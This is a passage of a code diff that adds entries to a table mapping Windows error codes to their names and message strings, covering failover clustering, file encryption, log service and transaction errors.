+        0x00001397: ("ERROR_HOST_NODE_NOT_RESOURCE_OWNER", "The operation failed because either the specified cluster node is not the owner of the resource, or the node is not a possible owner of the resource."),
+        0x00001398: ("ERROR_HOST_NODE_NOT_GROUP_OWNER", "The operation failed because either the specified cluster node is not the owner of the group, or the node is not a possible owner of the group."),
+        0x00001399: ("ERROR_RESMON_CREATE_FAILED", "The cluster resource could not be created in the specified resource monitor."),
+        0x0000139a: ("ERROR_RESMON_ONLINE_FAILED", "The cluster resource could not be brought online by the resource monitor."),
+        0x0000139b: ("ERROR_RESOURCE_ONLINE", "The operation could not be completed because the cluster resource is online."),
+        0x0000139c: ("ERROR_QUORUM_RESOURCE", "The cluster resource could not be deleted or brought offline because it is the quorum resource."),
+        0x0000139d: ("ERROR_NOT_QUORUM_CAPABLE", "The cluster could not make the specified resource a quorum resource because it is not capable of being a quorum resource."),
+        0x0000139e: ("ERROR_CLUSTER_SHUTTING_DOWN", "The cluster software is shutting down."),
+        0x0000139f: ("ERROR_INVALID_STATE", "The group or resource is not in the correct state to perform the requested operation."),
+        0x000013a0: ("ERROR_RESOURCE_PROPERTIES_STORED", "The properties were stored but not all changes will take effect until the next time the resource is brought online."),
+        0x000013a1: ("ERROR_NOT_QUORUM_CLASS", "The cluster could not make the specified resource a quorum resource because it does not belong to a shared storage class."),
+        0x000013a2: ("ERROR_CORE_RESOURCE", "The cluster resource could not be deleted since it is a core resource."),
+        0x000013a3: ("ERROR_QUORUM_RESOURCE_ONLINE_FAILED", "The quorum resource failed to come online."),
+        0x000013a4: ("ERROR_QUORUMLOG_OPEN_FAILED", "The quorum log could not be created or mounted successfully."),
+        0x000013a5: ("ERROR_CLUSTERLOG_CORRUPT", "The cluster log is corrupt."),
+        0x000013a6: ("ERROR_CLUSTERLOG_RECORD_EXCEEDS_MAXSIZE", "The record could not be written to the cluster log since it exceeds the maximum size."),
+        0x000013a7: ("ERROR_CLUSTERLOG_EXCEEDS_MAXSIZE", "The cluster log exceeds its maximum size."),
+        0x000013a8: ("ERROR_CLUSTERLOG_CHKPOINT_NOT_FOUND", "No checkpoint record was found in the cluster log."),
+        0x000013a9: ("ERROR_CLUSTERLOG_NOT_ENOUGH_SPACE", "The minimum required disk space needed for logging is not available."),
+        0x000013aa: ("ERROR_QUORUM_OWNER_ALIVE", "The cluster node failed to take control of the quorum resource because the resource is owned by another active node."),
+        0x000013ab: ("ERROR_NETWORK_NOT_AVAILABLE", "A cluster network is not available for this operation."),
+        0x000013ac: ("ERROR_NODE_NOT_AVAILABLE", "A cluster node is not available for this operation."),
+        0x000013ad: ("ERROR_ALL_NODES_NOT_AVAILABLE", "All cluster nodes must be running to perform this operation."),
+        0x000013ae: ("ERROR_RESOURCE_FAILED", "A cluster resource failed."),
+        0x000013af: ("ERROR_CLUSTER_INVALID_NODE", "The cluster node is not valid."),
+        0x000013b0: ("ERROR_CLUSTER_NODE_EXISTS", "The cluster node already exists."),
+        0x000013b1: ("ERROR_CLUSTER_JOIN_IN_PROGRESS", "A node is in the process of joining the cluster."),
+        0x000013b2: ("ERROR_CLUSTER_NODE_NOT_FOUND", "The cluster node was not found."),
+        0x000013b3: ("ERROR_CLUSTER_LOCAL_NODE_NOT_FOUND", "The cluster local node information was not found."),
+        0x000013b4: ("ERROR_CLUSTER_NETWORK_EXISTS", "The cluster network already exists."),
+        0x000013b5: ("ERROR_CLUSTER_NETWORK_NOT_FOUND", "The cluster network was not found."),
+        0x000013b6: ("ERROR_CLUSTER_NETINTERFACE_EXISTS", "The cluster network interface already exists."),
+        0x000013b7: ("ERROR_CLUSTER_NETINTERFACE_NOT_FOUND", "The cluster network interface was not found."),
+        0x000013b8: ("ERROR_CLUSTER_INVALID_REQUEST", "The cluster request is not valid for this object."),
+        0x000013b9: ("ERROR_CLUSTER_INVALID_NETWORK_PROVIDER", "The cluster network provider is not valid."),
+        0x000013ba: ("ERROR_CLUSTER_NODE_DOWN", "The cluster node is down."),
+        0x000013bb: ("ERROR_CLUSTER_NODE_UNREACHABLE", "The cluster node is not reachable."),
+        0x000013bc: ("ERROR_CLUSTER_NODE_NOT_MEMBER", "The cluster node is not a member of the cluster."),
+        0x000013bd: ("ERROR_CLUSTER_JOIN_NOT_IN_PROGRESS", "A cluster join operation is not in progress."),
+        0x000013be: ("ERROR_CLUSTER_INVALID_NETWORK", "The cluster network is not valid."),
+        0x000013c0: ("ERROR_CLUSTER_NODE_UP", "The cluster node is up."),
+        0x000013c1: ("ERROR_CLUSTER_IPADDR_IN_USE", "The cluster IP address is already in use."),
+        0x000013c2: ("ERROR_CLUSTER_NODE_NOT_PAUSED", "The cluster node is not paused."),
+        0x000013c3: ("ERROR_CLUSTER_NO_SECURITY_CONTEXT", "No cluster security context is available."),
+        0x000013c4: ("ERROR_CLUSTER_NETWORK_NOT_INTERNAL", "The cluster network is not configured for internal cluster communication."),
+        0x000013c5: ("ERROR_CLUSTER_NODE_ALREADY_UP", "The cluster node is already up."),
+        0x000013c6: ("ERROR_CLUSTER_NODE_ALREADY_DOWN", "The cluster node is already down."),
+        0x000013c7: ("ERROR_CLUSTER_NETWORK_ALREADY_ONLINE", "The cluster network is already online."),
+        0x000013c8: ("ERROR_CLUSTER_NETWORK_ALREADY_OFFLINE", "The cluster network is already offline."),
+        0x000013c9: ("ERROR_CLUSTER_NODE_ALREADY_MEMBER", "The cluster node is already a member of the cluster."),
+        0x000013ca: ("ERROR_CLUSTER_LAST_INTERNAL_NETWORK", "The cluster network is the only one configured for internal cluster communication between two or more active cluster nodes. The internal communication capability cannot be removed from the network."),
+        0x000013cb: ("ERROR_CLUSTER_NETWORK_HAS_DEPENDENTS", "One or more cluster resources depend on the network to provide service to clients. The client access capability cannot be removed from the network."),
+        0x000013cc: ("ERROR_INVALID_OPERATION_ON_QUORUM", "This operation cannot be performed on the cluster resource as it the quorum resource. You may not bring the quorum resource offline or modify its possible owners list."),
+        0x000013cd: ("ERROR_DEPENDENCY_NOT_ALLOWED", "The cluster quorum resource is not allowed to have any dependencies."),
+        0x000013ce: ("ERROR_CLUSTER_NODE_PAUSED", "The cluster node is paused."),
+        0x000013cf: ("ERROR_NODE_CANT_HOST_RESOURCE", "The cluster resource cannot be brought online. The owner node cannot run this resource."),
+        0x000013d0: ("ERROR_CLUSTER_NODE_NOT_READY", "The cluster node is not ready to perform the requested operation."),
+        0x000013d1: ("ERROR_CLUSTER_NODE_SHUTTING_DOWN", "The cluster node is shutting down."),
+        0x000013d2: ("ERROR_CLUSTER_JOIN_ABORTED", "The cluster join operation was aborted."),
+        0x000013d3: ("ERROR_CLUSTER_INCOMPATIBLE_VERSIONS", "The cluster join operation failed due to incompatible software versions between the joining node and its sponsor."),
+        0x000013d4: ("ERROR_CLUSTER_MAXNUM_OF_RESOURCES_EXCEEDED", "This resource cannot be created because the cluster has reached the limit on the number of resources it can monitor."),
+        0x000013d5: ("ERROR_CLUSTER_SYSTEM_CONFIG_CHANGED", "The system configuration changed during the cluster join or form operation. The join or form operation was aborted."),
+        0x000013d6: ("ERROR_CLUSTER_RESOURCE_TYPE_NOT_FOUND", "The specified resource type was not found."),
+        0x000013d7: ("ERROR_CLUSTER_RESTYPE_NOT_SUPPORTED", "The specified node does not support a resource of this type. This may be due to version inconsistencies or due to the absence of the resource DLL on this node."),
+        0x000013d8: ("ERROR_CLUSTER_RESNAME_NOT_FOUND", "The specified resource name is not supported by this resource DLL. This may be due to a bad (or changed) name supplied to the resource DLL."),
+        0x000013d9: ("ERROR_CLUSTER_NO_RPC_PACKAGES_REGISTERED", "No authentication package could be registered with the RPC server."),
+        0x000013da: ("ERROR_CLUSTER_OWNER_NOT_IN_PREFLIST", "You cannot bring the group online because the owner of the group is not in the preferred list for the group. To change the owner node for the group, move the group."),
+        0x000013db: ("ERROR_CLUSTER_DATABASE_SEQMISMATCH", "The join operation failed because the cluster database sequence number has changed or is incompatible with the locker node. This may happen during a join operation if the cluster database was changing during the join."),
+        0x000013dc: ("ERROR_RESMON_INVALID_STATE", "The resource monitor will not allow the fail operation to be performed while the resource is in its current state. This may happen if the resource is in a pending state."),
+        0x000013dd: ("ERROR_CLUSTER_GUM_NOT_LOCKER", "A non locker code got a request to reserve the lock for making global updates."),
+        0x000013de: ("ERROR_QUORUM_DISK_NOT_FOUND", "The quorum disk could not be located by the cluster service."),
+        0x000013df: ("ERROR_DATABASE_BACKUP_CORRUPT", "The backed up cluster database is possibly corrupt."),
+        0x000013e0: ("ERROR_CLUSTER_NODE_ALREADY_HAS_DFS_ROOT", "A DFS root already exists in this cluster node."),
+        0x000013e1: ("ERROR_RESOURCE_PROPERTY_UNCHANGEABLE", "An attempt to modify a resource property failed because it conflicts with another existing property."),
+        0x00001702: ("ERROR_CLUSTER_MEMBERSHIP_INVALID_STATE", "An operation was attempted that is incompatible with the current membership state of the node."),
+        0x00001703: ("ERROR_CLUSTER_QUORUMLOG_NOT_FOUND", "The quorum resource does not contain the quorum log."),
+        0x00001704: ("ERROR_CLUSTER_MEMBERSHIP_HALT", "The membership engine requested shutdown of the cluster service on this node."),
+        0x00001705: ("ERROR_CLUSTER_INSTANCE_ID_MISMATCH", "The join operation failed because the cluster instance ID of the joining node does not match the cluster instance ID of the sponsor node."),
+        0x00001706: ("ERROR_CLUSTER_NETWORK_NOT_FOUND_FOR_IP", "A matching cluster network for the specified IP address could not be found."),
+        0x00001707: ("ERROR_CLUSTER_PROPERTY_DATA_TYPE_MISMATCH", "The actual data type of the property did not match the expected data type of the property."),
+        0x00001708: ("ERROR_CLUSTER_EVICT_WITHOUT_CLEANUP", "The cluster node was evicted from the cluster successfully, but the node was not cleaned up. To determine what cleanup steps failed and how to recover, see the Failover Clustering application event log using Event Viewer."),
+        0x00001709: ("ERROR_CLUSTER_PARAMETER_MISMATCH", "Two or more parameter values specified for a resource's properties are in conflict."),
+        0x0000170a: ("ERROR_NODE_CANNOT_BE_CLUSTERED", "This computer cannot be made a member of a cluster."),
+        0x0000170b: ("ERROR_CLUSTER_WRONG_OS_VERSION", "This computer cannot be made a member of a cluster because it does not have the correct version of Windows installed."),
+        0x0000170c: ("ERROR_CLUSTER_CANT_CREATE_DUP_CLUSTER_NAME", "A cluster cannot be created with the specified cluster name because that cluster name is already in use. Specify a different name for the cluster."),
+        0x0000170d: ("ERROR_CLUSCFG_ALREADY_COMMITTED", "The cluster configuration action has already been committed."),
+        0x0000170e: ("ERROR_CLUSCFG_ROLLBACK_FAILED", "The cluster configuration action could not be rolled back."),
+        0x0000170f: ("ERROR_CLUSCFG_SYSTEM_DISK_DRIVE_LETTER_CONFLICT", "The drive letter assigned to a system disk on one node conflicted with the drive letter assigned to a disk on another node."),
+        0x00001710: ("ERROR_CLUSTER_OLD_VERSION", "One or more nodes in the cluster are running a version of Windows that does not support this operation."),
+        0x00001711: ("ERROR_CLUSTER_MISMATCHED_COMPUTER_ACCT_NAME", "The name of the corresponding computer account doesn't match the Network Name for this resource."),
+        0x00001712: ("ERROR_CLUSTER_NO_NET_ADAPTERS", "No network adapters are available."),
+        0x00001713: ("ERROR_CLUSTER_POISONED", "The cluster node has been poisoned."),
+        0x00001714: ("ERROR_CLUSTER_GROUP_MOVING", "The group is unable to accept the request since it is moving to another node."),
+        0x00001715: ("ERROR_CLUSTER_RESOURCE_TYPE_BUSY", "The resource type cannot accept the request since is too busy performing another operation."),
+        0x00001716: ("ERROR_RESOURCE_CALL_TIMED_OUT", "The call to the cluster resource DLL timed out."),
+        0x00001717: ("ERROR_INVALID_CLUSTER_IPV6_ADDRESS", "The address is not valid for an IPv6 Address resource. A global IPv6 address is required, and it must match a cluster network. Compatibility addresses are not permitted."),
+        0x00001718: ("ERROR_CLUSTER_INTERNAL_INVALID_FUNCTION", "An internal cluster error occurred. A call to an invalid function was attempted."),
+        0x00001719: ("ERROR_CLUSTER_PARAMETER_OUT_OF_BOUNDS", "A parameter value is out of acceptable range."),
+        0x0000171a: ("ERROR_CLUSTER_PARTIAL_SEND", "A network error occurred while sending data to another node in the cluster. The number of bytes transmitted was less than required."),
+        0x0000171b: ("ERROR_CLUSTER_REGISTRY_INVALID_FUNCTION", "An invalid cluster registry operation was attempted."),
+        0x0000171c: ("ERROR_CLUSTER_INVALID_STRING_TERMINATION", "An input string of characters is not properly terminated."),
+        0x0000171d: ("ERROR_CLUSTER_INVALID_STRING_FORMAT", "An input string of characters is not in a valid format for the data it represents."),
+        0x0000171e: ("ERROR_CLUSTER_DATABASE_TRANSACTION_IN_PROGRESS", "An internal cluster error occurred. A cluster database transaction was attempted while a transaction was already in progress."),
+        0x0000171f: ("ERROR_CLUSTER_DATABASE_TRANSACTION_NOT_IN_PROGRESS", "An internal cluster error occurred. There was an attempt to commit a cluster database transaction while no transaction was in progress."),
+        0x00001720: ("ERROR_CLUSTER_NULL_DATA", "An internal cluster error occurred. Data was not properly initialized."),
+        0x00001721: ("ERROR_CLUSTER_PARTIAL_READ", "An error occurred while reading from a stream of data. An unexpected number of bytes was returned."),
+        0x00001722: ("ERROR_CLUSTER_PARTIAL_WRITE", "An error occurred while writing to a stream of data. The required number of bytes could not be written."),
+        0x00001723: ("ERROR_CLUSTER_CANT_DESERIALIZE_DATA", "An error occurred while deserializing a stream of cluster data."),
+        0x00001724: ("ERROR_DEPENDENT_RESOURCE_PROPERTY_CONFLICT", "One or more property values for this resource are in conflict with one or more property values associated with its dependent resource(s)."),
+        0x00001725: ("ERROR_CLUSTER_NO_QUORUM", "A quorum of cluster nodes was not present to form a cluster."),
+        0x00001726: ("ERROR_CLUSTER_INVALID_IPV6_NETWORK", "The cluster network is not valid for an IPv6 Address resource, or it does not match the configured address."),
+        0x00001727: ("ERROR_CLUSTER_INVALID_IPV6_TUNNEL_NETWORK", "The cluster network is not valid for an IPv6 Tunnel resource. Check the configuration of the IP Address resource on which the IPv6 Tunnel resource depends."),
+        0x00001728: ("ERROR_QUORUM_NOT_ALLOWED_IN_THIS_GROUP", "Quorum resource cannot reside in the Available Storage group."),
+        0x00001729: ("ERROR_DEPENDENCY_TREE_TOO_COMPLEX", "The dependencies for this resource are nested too deeply."),
+        0x0000172a: ("ERROR_EXCEPTION_IN_RESOURCE_CALL", "The call into the resource DLL raised an unhandled exception."),
+        0x0000172b: ("ERROR_CLUSTER_RHS_FAILED_INITIALIZATION", "The RHS process failed to initialize."),
+        0x0000172c: ("ERROR_CLUSTER_NOT_INSTALLED", "The Failover Clustering feature is not installed on this node."),
+        0x0000172d: ("ERROR_CLUSTER_RESOURCES_MUST_BE_ONLINE_ON_THE_SAME_NODE", "The resources must be online on the same node for this operation"),
+        0x0000172e: ("ERROR_CLUSTER_MAX_NODES_IN_CLUSTER", "A new node can not be added since this cluster is already at its maximum number of nodes."),
+        0x0000172f: ("ERROR_CLUSTER_TOO_MANY_NODES", "This cluster can not be created since the specified number of nodes exceeds the maximum allowed limit."),
+        0x00001730: ("ERROR_CLUSTER_OBJECT_ALREADY_USED", "An attempt to use the specified cluster name failed because an enabled computer object with the given name already exists in the domain."),
+        0x00001731: ("ERROR_NONCORE_GROUPS_FOUND", "This cluster cannot be destroyed. It has non-core application groups which must be deleted before the cluster can be destroyed."),
+        0x00001732: ("ERROR_FILE_SHARE_RESOURCE_CONFLICT", "File share associated with file share witness resource cannot be hosted by this cluster or any of its nodes."),
+        0x00001733: ("ERROR_CLUSTER_EVICT_INVALID_REQUEST", "Eviction of this node is invalid at this time. Due to quorum requirements node eviction will result in cluster shutdown."),
+        0x00001734: ("ERROR_CLUSTER_SINGLETON_RESOURCE", "Only one instance of this resource type is allowed in the cluster."),
+        0x00001735: ("ERROR_CLUSTER_GROUP_SINGLETON_RESOURCE", "Only one instance of this resource type is allowed per resource group."),
+        0x00001736: ("ERROR_CLUSTER_RESOURCE_PROVIDER_FAILED", "The resource failed to come online due to the failure of one or more provider resources."),
+        0x00001737: ("ERROR_CLUSTER_RESOURCE_CONFIGURATION_ERROR", "The resource has indicated that it cannot come online on any node."),
+        0x00001738: ("ERROR_CLUSTER_GROUP_BUSY", "The current operation cannot be performed on this group at this time."),
+        0x00001739: ("ERROR_CLUSTER_NOT_SHARED_VOLUME", "The directory or file is not located on a cluster shared volume."),
+        0x0000173a: ("ERROR_CLUSTER_INVALID_SECURITY_DESCRIPTOR", "The Security Descriptor does not meet the requirements for a cluster."),
+        0x0000173b: ("ERROR_CLUSTER_SHARED_VOLUMES_IN_USE", "There is one or more shared volumes resources configured in the cluster."),
+        0x0000173c: ("ERROR_CLUSTER_USE_SHARED_VOLUMES_API", "This group or resource cannot be directly manipulated."),
+        0x0000173d: ("ERROR_CLUSTER_BACKUP_IN_PROGRESS", "Back up is in progress. Please wait for backup completion before trying this operation again."),
+        0x0000173e: ("ERROR_NON_CSV_PATH", "The path does not belong to a cluster shared volume."),
+        0x0000173f: ("ERROR_CSV_VOLUME_NOT_LOCAL", "The cluster shared volume is not locally mounted on this node."),
+        0x00001740: ("ERROR_CLUSTER_WATCHDOG_TERMINATING", "The cluster watchdog is terminating."),
+        0x00001741: ("ERROR_CLUSTER_RESOURCE_VETOED_MOVE_INCOMPATIBLE_NODES", "A resource vetoed a move between two nodes because they are incompatible."),
+        0x00001742: ("ERROR_CLUSTER_INVALID_NODE_WEIGHT", "The request is invalid either because node weight cannot be changed while the cluster is in disk-only quorum mode, or because changing the node weight would violate the minimum cluster quorum requirements."),
+        0x00001743: ("ERROR_CLUSTER_RESOURCE_VETOED_CALL", "The resource vetoed the call."),
+        0x00001744: ("ERROR_RESMON_SYSTEM_RESOURCES_LACKING", "Resource could not start or run because it could not reserve sufficient system resources."),
+        0x00001745: ("ERROR_CLUSTER_RESOURCE_VETOED_MOVE_NOT_ENOUGH_RESOURCES_ON_DESTINATION", "A resource vetoed a move between two nodes because the destination currently does not have enough resources to complete the operation."),
+        0x00001746: ("ERROR_CLUSTER_RESOURCE_VETOED_MOVE_NOT_ENOUGH_RESOURCES_ON_SOURCE", ""),
+        0x00001747: ("ERROR_CLUSTER_GROUP_QUEUED", ""),
+        0x00001748: ("ERROR_CLUSTER_RESOURCE_LOCKED_STATUS", ""),
+        0x00001749: ("ERROR_CLUSTER_SHARED_VOLUME_FAILOVER_NOT_ALLOWED", ""),
+        0x0000174a: ("ERROR_CLUSTER_NODE_DRAIN_IN_PROGRESS", ""),
+        0x0000174b: ("ERROR_CLUSTER_DISK_NOT_CONNECTED", ""),
+        0x0000174c: ("ERROR_DISK_NOT_CSV_CAPABLE", ""),
+        0x0000174d: ("ERROR_RESOURCE_NOT_IN_AVAILABLE_STORAGE", ""),
+        0x0000174e: ("ERROR_CLUSTER_SHARED_VOLUME_REDIRECTED", ""),
+        0x0000174f: ("ERROR_CLUSTER_SHARED_VOLUME_NOT_REDIRECTED", ""),
+        0x00001750: ("ERROR_CLUSTER_CANNOT_RETURN_PROPERTIES", ""),
+        0x00001751: ("ERROR_CLUSTER_RESOURCE_CONTAINS_UNSUPPORTED_DIFF_AREA_FOR_SHARED_VOLUMES", ""),
+        0x00001752: ("ERROR_CLUSTER_RESOURCE_IS_IN_MAINTENANCE_MODE", ""),
+        0x00001753: ("ERROR_CLUSTER_AFFINITY_CONFLICT", ""),
+        0x00001754: ("ERROR_CLUSTER_RESOURCE_IS_REPLICA_VIRTUAL_MACHINE", ""),
+        0x00001770: ("ERROR_ENCRYPTION_FAILED", "The specified file could not be encrypted."),
+        0x00001771: ("ERROR_DECRYPTION_FAILED", "The specified file could not be decrypted."),
+        0x00001772: ("ERROR_FILE_ENCRYPTED", "The specified file is encrypted and the user does not have the ability to decrypt it."),
+        0x00001773: ("ERROR_NO_RECOVERY_POLICY", "There is no valid encryption recovery policy configured for this system."),
+        0x00001774: ("ERROR_NO_EFS", "The required encryption driver is not loaded for this system."),
+        0x00001775: ("ERROR_WRONG_EFS", "The file was encrypted with a different encryption driver than is currently loaded."),
+        0x00001776: ("ERROR_NO_USER_KEYS", "There are no EFS keys defined for the user."),
+        0x00001777: ("ERROR_FILE_NOT_ENCRYPTED", "The specified file is not encrypted."),
+        0x00001778: ("ERROR_NOT_EXPORT_FORMAT", "The specified file is not in the defined EFS export format."),
+        0x00001779: ("ERROR_FILE_READ_ONLY", "The specified file is read only."),
+        0x0000177a: ("ERROR_DIR_EFS_DISALLOWED", "The directory has been disabled for encryption."),
+        0x0000177b: ("ERROR_EFS_SERVER_NOT_TRUSTED", "The server is not trusted for remote encryption operation."),
+        0x0000177c: ("ERROR_BAD_RECOVERY_POLICY", "Recovery policy configured for this system contains invalid recovery certificate."),
+        0x0000177d: ("ERROR_EFS_ALG_BLOB_TOO_BIG", "The encryption algorithm used on the source file needs a bigger key buffer than the one on the destination file."),
+        0x0000177e: ("ERROR_VOLUME_NOT_SUPPORT_EFS", "The disk partition does not support file encryption."),
+        0x0000177f: ("ERROR_EFS_DISABLED", "This machine is disabled for file encryption."),
+        0x00001780: ("ERROR_EFS_VERSION_NOT_SUPPORT", "A newer system is required to decrypt this encrypted file."),
+        0x00001781: ("ERROR_CS_ENCRYPTION_INVALID_SERVER_RESPONSE", "The remote server sent an invalid response for a file being opened with Client Side Encryption."),
+        0x00001782: ("ERROR_CS_ENCRYPTION_UNSUPPORTED_SERVER", "Client Side Encryption is not supported by the remote server even though it claims to support it."),
+        0x00001783: ("ERROR_CS_ENCRYPTION_EXISTING_ENCRYPTED_FILE", "File is encrypted and should be opened in Client Side Encryption mode."),
+        0x00001784: ("ERROR_CS_ENCRYPTION_NEW_ENCRYPTED_FILE", "A new encrypted file is being created and a $EFS needs to be provided."),
+        0x00001785: ("ERROR_CS_ENCRYPTION_FILE_NOT_CSE", "The SMB client requested a CSE FSCTL on a non-CSE file."),
+        0x00001786: ("ERROR_ENCRYPTION_POLICY_DENIES_OPERATION", "The requested operation was blocked by policy. For more information, contact your system administrator."),
+        0x000017e6: ("ERROR_NO_BROWSER_SERVERS_FOUND", "The list of servers for this workgroup is not currently available"),
+        0x00001838: ("SCHED_E_SERVICE_NOT_LOCALSYSTEM", "The Task Scheduler service must be configured to run in the System account to function properly. Individual tasks may be configured to run in other accounts."),
+        0x000019c8: ("ERROR_LOG_SECTOR_INVALID", "Log service encountered an invalid log sector."),
+        0x000019c9: ("ERROR_LOG_SECTOR_PARITY_INVALID", "Log service encountered a log sector with invalid block parity."),
+        0x000019ca: ("ERROR_LOG_SECTOR_REMAPPED", "Log service encountered a remapped log sector."),
+        0x000019cb: ("ERROR_LOG_BLOCK_INCOMPLETE", "Log service encountered a partial or incomplete log block."),
+        0x000019cc: ("ERROR_LOG_INVALID_RANGE", "Log service encountered an attempt access data outside the active log range."),
+        0x000019cd: ("ERROR_LOG_BLOCKS_EXHAUSTED", "Log service user marshalling buffers are exhausted."),
+        0x000019ce: ("ERROR_LOG_READ_CONTEXT_INVALID", "Log service encountered an attempt read from a marshalling area with an invalid read context."),
+        0x000019cf: ("ERROR_LOG_RESTART_INVALID", "Log service encountered an invalid log restart area."),
+        0x000019d0: ("ERROR_LOG_BLOCK_VERSION", "Log service encountered an invalid log block version."),
+        0x000019d1: ("ERROR_LOG_BLOCK_INVALID", "Log service encountered an invalid log block."),
+        0x000019d2: ("ERROR_LOG_READ_MODE_INVALID", "Log service encountered an attempt to read the log with an invalid read mode."),
+        0x000019d3: ("ERROR_LOG_NO_RESTART", "Log service encountered a log stream with no restart area."),
+        0x000019d4: ("ERROR_LOG_METADATA_CORRUPT", "Log service encountered a corrupted metadata file."),
+        0x000019d5: ("ERROR_LOG_METADATA_INVALID", "Log service encountered a metadata file that could not be created by the log file system."),
+        0x000019d6: ("ERROR_LOG_METADATA_INCONSISTENT", "Log service encountered a metadata file with inconsistent data."),
+        0x000019d7: ("ERROR_LOG_RESERVATION_INVALID", "Log service encountered an attempt to erroneous allocate or dispose reservation space."),
+        0x000019d8: ("ERROR_LOG_CANT_DELETE", "Log service cannot delete log file or file system container."),
+        0x000019d9: ("ERROR_LOG_CONTAINER_LIMIT_EXCEEDED", "Log service has reached the maximum allowable containers allocated to a log file."),
+        0x000019da: ("ERROR_LOG_START_OF_LOG", "Log service has attempted to read or write backward past the start of the log."),
+        0x000019db: ("ERROR_LOG_POLICY_ALREADY_INSTALLED", "Log policy could not be installed because a policy of the same type is already present."),
+        0x000019dc: ("ERROR_LOG_POLICY_NOT_INSTALLED", "Log policy in question was not installed at the time of the request."),
+        0x000019dd: ("ERROR_LOG_POLICY_INVALID", "The installed set of policies on the log is invalid."),
+        0x000019de: ("ERROR_LOG_POLICY_CONFLICT", "A policy on the log in question prevented the operation from completing."),
+        0x000019df: ("ERROR_LOG_PINNED_ARCHIVE_TAIL", "Log space cannot be reclaimed because the log is pinned by the archive tail."),
+        0x000019e0: ("ERROR_LOG_RECORD_NONEXISTENT", "Log record is not a record in the log file."),
+        0x000019e1: ("ERROR_LOG_RECORDS_RESERVED_INVALID", "Number of reserved log records or the adjustment of the number of reserved log records is invalid."),
+        0x000019e2: ("ERROR_LOG_SPACE_RESERVED_INVALID", "Reserved log space or the adjustment of the log space is invalid."),
+        0x000019e3: ("ERROR_LOG_TAIL_INVALID", "An new or existing archive tail or base of the active log is invalid."),
+        0x000019e4: ("ERROR_LOG_FULL", "Log space is exhausted."),
+        0x000019e5: ("ERROR_COULD_NOT_RESIZE_LOG", "The log could not be set to the requested size."),
+        0x000019e6: ("ERROR_LOG_MULTIPLEXED", "Log is multiplexed, no direct writes to the physical log is allowed."),
+        0x000019e7: ("ERROR_LOG_DEDICATED", "The operation failed because the log is a dedicated log."),
+        0x000019e8: ("ERROR_LOG_ARCHIVE_NOT_IN_PROGRESS", "The operation requires an archive context."),
+        0x000019e9: ("ERROR_LOG_ARCHIVE_IN_PROGRESS", "Log archival is in progress."),
+        0x000019ea: ("ERROR_LOG_EPHEMERAL", "The operation requires a non-ephemeral log, but the log is ephemeral."),
+        0x000019eb: ("ERROR_LOG_NOT_ENOUGH_CONTAINERS", "The log must have at least two containers before it can be read from or written to."),
+        0x000019ec: ("ERROR_LOG_CLIENT_ALREADY_REGISTERED", "A log client has already registered on the stream."),
+        0x000019ed: ("ERROR_LOG_CLIENT_NOT_REGISTERED", "A log client has not been registered on the stream."),
+        0x000019ee: ("ERROR_LOG_FULL_HANDLER_IN_PROGRESS", "A request has already been made to handle the log full condition."),
+        0x000019ef: ("ERROR_LOG_CONTAINER_READ_FAILED", "Log service encountered an error when attempting to read from a log container."),
+        0x000019f0: ("ERROR_LOG_CONTAINER_WRITE_FAILED", "Log service encountered an error when attempting to write to a log container."),
+        0x000019f1: ("ERROR_LOG_CONTAINER_OPEN_FAILED", "Log service encountered an error when attempting open a log container."),
+        0x000019f2: ("ERROR_LOG_CONTAINER_STATE_INVALID", "Log service encountered an invalid container state when attempting a requested action."),
+        0x000019f3: ("ERROR_LOG_STATE_INVALID", "Log service is not in the correct state to perform a requested action."),
+        0x000019f4: ("ERROR_LOG_PINNED", "Log space cannot be reclaimed because the log is pinned."),
+        0x000019f5: ("ERROR_LOG_METADATA_FLUSH_FAILED", "Log metadata flush failed."),
+        0x000019f6: ("ERROR_LOG_INCONSISTENT_SECURITY", "Security on the log and its containers is inconsistent."),
+        0x000019f7: ("ERROR_LOG_APPENDED_FLUSH_FAILED", "Records were appended to the log or reservation changes were made, but the log could not be flushed."),
+        0x000019f8: ("ERROR_LOG_PINNED_RESERVATION", "The log is pinned due to reservation consuming most of the log space. Free some reserved records to make space available."),
+        0x00001a2c: ("ERROR_INVALID_TRANSACTION", "The transaction handle associated with this operation is not valid."),
+        0x00001a2d: ("ERROR_TRANSACTION_NOT_ACTIVE", "The requested operation was made in the context of a transaction that is no longer active."),
+        0x00001a2e: ("ERROR_TRANSACTION_REQUEST_NOT_VALID", "The requested operation is not valid on the Transaction object in its current state."),
+        0x00001a2f: ("ERROR_TRANSACTION_NOT_REQUESTED", "The caller has called a response API, but the response is not expected because the TM did not issue the corresponding request to the caller."),
+        0x00001a30: ("ERROR_TRANSACTION_ALREADY_ABORTED", "It is too late to perform the requested operation, since the Transaction has already been aborted."),
+        0x00001a31: ("ERROR_TRANSACTION_ALREADY_COMMITTED", "It is too late to perform the requested operation, since the Transaction has already been committed."),
+        0x00001a32: ("ERROR_TM_INITIALIZATION_FAILED", "The Transaction Manager was unable to be successfully initialized. Transacted operations are not supported."),
+        0x00001a33: ("ERROR_RESOURCEMANAGER_READ_ONLY", "The specified ResourceManager made no changes or updates to the resource under this transaction."),
+        0x00001a34: ("ERROR_TRANSACTION_NOT_JOINED", "The resource manager has attempted to prepare a transaction that it has not successfully joined."),
+        0x00001a35: ("ERROR_TRANSACTION_SUPERIOR_EXISTS", "The Transaction object already has a superior enlistment, and the caller attempted an operation that would have created a new superior. Only a single superior enlistment is allow."),
+        0x00001a36: ("ERROR_CRM_PROTOCOL_ALREADY_EXISTS", "The RM tried to register a protocol that already exists."),
+        0x00001a37: ("ERROR_TRANSACTION_PROPAGATION_FAILED", "The attempt to propagate the Transaction failed."),
+        0x00001a38: ("ERROR_CRM_PROTOCOL_NOT_FOUND", "The requested propagation protocol was not registered as a CRM."),
+        0x00001a39: ("ERROR_TRANSACTION_INVALID_MARSHALL_BUFFER", "The buffer passed in to PushTransaction or PullTransaction is not in a valid format."),
+        0x00001a3a: ("ERROR_CURRENT_TRANSACTION_NOT_VALID", "The current transaction context associated with the thread is not a valid handle to a transaction object."),
+        0x00001a3b: ("ERROR_TRANSACTION_NOT_FOUND", "The specified Transaction object could not be opened, because it was not found."),
+        0x00001a3c: ("ERROR_RESOURCEMANAGER_NOT_FOUND", "The specified ResourceManager object could not be opened, because it was not found."),
+        0x00001a3d: ("ERROR_ENLISTMENT_NOT_FOUND", "The specified Enlistment object could not be opened, because it was not found."),
